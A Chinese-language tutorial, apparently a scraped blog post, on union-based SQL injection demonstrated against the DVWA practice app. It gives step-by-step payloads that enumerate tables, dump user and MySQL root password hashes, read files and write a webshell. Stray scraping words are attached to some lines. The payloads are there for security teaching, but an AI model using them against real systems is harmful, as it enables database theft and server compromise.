sql回顯注入(滿滿的乾貨)

三種注入poc

 where user_id = 1 or 1=1mysql

 where user_id = '1' or '1'='1'web

 where user_id =" 1 "or "1"="1"sql

三種sql註釋符

#     單行註釋   注意與url中的#區分,常編碼爲%23shell

--空格      單行註釋  注意爲短線短線空格數據庫

/*()*/      多行註釋  至少存在倆處的注入   /**/經常使用來做爲空格工具

注入流程

是否存在注入而且判斷注入類型編碼

判斷字段數   order by url

肯定回顯點      union select 1,2spa

查詢數據庫信息    @@version    @@datadir操作系統

查詢用戶名,數據庫名     user()   database()

文件讀取  union select 1,load_file('C:\\wondows\\win.ini')#

寫入 webshell       select..into  outfile...

補充一點,使用sql注入遇到轉義字符串的單引號或者雙引號,可以使用HEX編碼繞過

 

sql注入

SQL Injection,即SQL注入,SQLi,是指攻擊者經過注入惡意的SQL命令,破壞SQL查詢語句的結構,從而達到執行惡意SQL語句的目的。SQL注入漏洞的危害巨大,經常會致使整個數據庫被脫褲,現在SQL注入還是如今最多見的Web漏洞之一。

SQL 注入分類:

SQLMap中的分類來看,SQL注入類型有如下5種:

 

UNION query SQL injection(可聯合查詢注入)

Stacked queries SQL injection(可多語句查詢注入)堆疊查詢

Boolean-based blind SQL injection(布爾型注入)

Error-based SQL injection(報錯型注入)

Time-based blind SQL injection(基於時間延遲注入)

SQL 注入常規利用思路:

 1、尋找注入點,能夠經過 web 掃描工具實現

 2、經過注入點,嘗試得到關於鏈接數據庫用戶名、數據庫名稱、鏈接數據庫用戶權限、操做系統信息、數據庫版本等相關信息。

 3、猜解關鍵數據庫表及其重要字段與內容(常見如存放管理員帳戶的表名、字段名等信息)

 3.1 還能夠獲取數據庫的root帳號 密碼—思路

 4、能夠經過得到的用戶信息,尋找後臺登陸。

 5、利用後臺或瞭解的進一步信息。

手工注入常規思路:

1.判斷是否存在注入,注入是字符型仍是數字型

 2.猜解 SQL 查詢語句中的字段數

 3.肯定顯示的字段順序

 4.獲取當前數據庫

 5.獲取數據庫中的表

 6.獲取表中的字段名

 7.查詢到帳戶的數據

下面對四種級別的代碼進行分析。

 猜數據庫:

1' union select 1,database()#

payload利用另外一種方式:

1' union select user(),database()#

Version()#

獲得數據庫名:dvwa

PS:union查詢結合了兩個select查詢結果,根據上面的order by語句咱們知道查詢包含兩列,爲了可以現實兩列查詢結果,咱們須要用union查詢結合咱們構造的另一個select.注意在使用union查詢的時候須要和主查詢的列數相同。

猜表名:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#

獲得表名:guestbook,users

group_concat 分組

 猜列名:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#

1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#

(用編碼就不用單引號,用單引號就不用編碼)

 獲得列:

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password

猜用戶數據:

列舉出幾種payload:

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

1' union select null,concat_ws(char(32,58,32),user,password) from users #  

1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #  

獲得用戶數據:

admin 5f4dcc3b5aa765d61d8327deb882cf99

 root 用戶:

1' union select 1,group_concat(user,password) from mysql.user#

獲得root用戶信息:

root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

相關文章
相關標籤/搜索